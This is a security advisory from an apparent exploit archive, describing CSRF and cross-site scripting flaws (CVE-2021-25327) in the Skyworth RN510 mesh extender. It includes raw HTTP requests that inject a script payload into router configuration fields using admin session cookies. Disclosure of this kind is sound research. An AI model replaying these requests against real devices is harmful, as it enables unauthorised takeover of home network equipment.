Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

Authored by Kaustubh G. Padwad — Posted May 4, 2021

Shenzhen Skyworth RN510 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2021-25327
SHA-256 | 70d4b29f86b8a386559ce1885039111a11ce3147edcb6cc01fd5a7adda137f43 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Overview
========

Title:- Authenticated XSRF in RN510 Mesh Extender.
CVE-ID :- CVE-2021-25327
Author: Kaustubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products)
Products:
     1. RN510 with firmware V.3.1.0.4 (Tested and verified)
Potential
    2.RN620 with respective firmware or below
    3.RN410 With Respective firmwware or below.

Severity: High--Critical

Advisory ID
============
KSA-Dev-0011

About the Product:
==================

* RN510 dual-band wireless AC2100 access point delivers high-speed
access for web surfing and HD video streamings. Integrated with two
gigabit LAN ports, and a dual-band AP which supports 2x2
802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides
a stable & reliable high speed wired and wireless connectivity for home
user and SOHO users. Utilizing state of art EasyMesh solution, two or
more RN510 units could be easily teamed upwith Skyworth ONT gateway
(e.g. GN543) and form an automatically organized network. RN510 could
support either wired line backhaul or wireless backhaul to other mesh
node. User could enjoy a wonderful zero-touch, robust and failure auto
recovery, seamless connected wireless home networking experience.
RN510 uses a system of units to achieve seamless whole-home Wi-Fi
coverage, eliminate weak signal areas once and for all. RN510 work
together to form a unified network with a single network name. Devices
automatically switch between RN510s as you move through your home for
the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area
of up to 2,800 square feet. And if that’s not enough, simply add more
RN510 to the network anytime to increase coverage. RN510 provides fast
and stable connections with speeds of up to 2100 Mbps and works with
major internet service provider (ISP) and modem. Parental Controls
limits online time and block inappropriate websites according to unique
profiles created for each family member. Setup is easier than ever with
the Skywifi app there to walk you through every step.

Description:
============
An issue was discovered on Shenzhen Skyworth

The value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not
properly sanatizing hence it allow to execute malicious javascript,
which result a successful cross site scripting in
/cgi-bin/net-routeadd.asp, Additionally value of urlitem under
/cgi-bin/sec-urlfilter.asp is also not getting properly sanitize hence
it will result to successful cross site scripting.

Since device dont have CSRF valdation it is possible to perform the XSRF
by using CSRF + XSS vulnerability.


Additional Information
========================
Sample request -1

Request
========

POST /cgi-bin/net-routeadd.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.1/cgi-bin/net-routeadd.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 235
Connection: close
Cookie: UID=admin; PSW=admin;
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1

add_num=0&user_def_num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIPAddress=<svg><script
?
>alert(document.cookie)&DestSubnetMask=255.255.255.255&gwStr=on&GatewayIPAddress=192.168.1.1&ifStr=on&Interface=

Sample Request-2

POST /cgi-bin/sec-urlfilter.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Connection: close
Cookie: UID=admin; PSW=admin;
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1

Save_Flag=1&Actionflag=Add&EnableUrlFilterFlag=1&delnum=&add_num=1&Url_num=1&enableFilter=on&FilterPolicy=0&url:


[Affected Component]
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web
server implementation.

------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Code execution]
true
------------------------------------------
[Impact Denial of Service]
true
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Author	Files
Red Hat	201 files
Ubuntu	78 files
Debian	24 files
LiquidWorm	23 files
malvuln	12 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	8 files
T. Weber	4 files
Julien Ahrens	4 files

File Tags

Tag	Count
ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

System	Count
AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

```
------------------------------------------
[Attack Vectors]
An Authentiated attacker need to run set the cross site scripting
payload at DestIPAddress,urlitem under /cgi-bin/net-routeadd.asp and
/cgi-bin/sec-urlfilter.asp respectively in order to achive XSS.

[Vulnerability Type]
====================
CSRF, XSS

How to Reproduce: (POC):
========================

One can use below exploit

Attacker needs to run above requests in order to achive to XSRF.


Mitigation
==========

[Vendor of Product]
Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products)

Disclosure:
===========
19-Jan-2021:- reported this to vendor
19-Jan-2021:- Requested for CVE-ID


credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@me.com
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

packet storm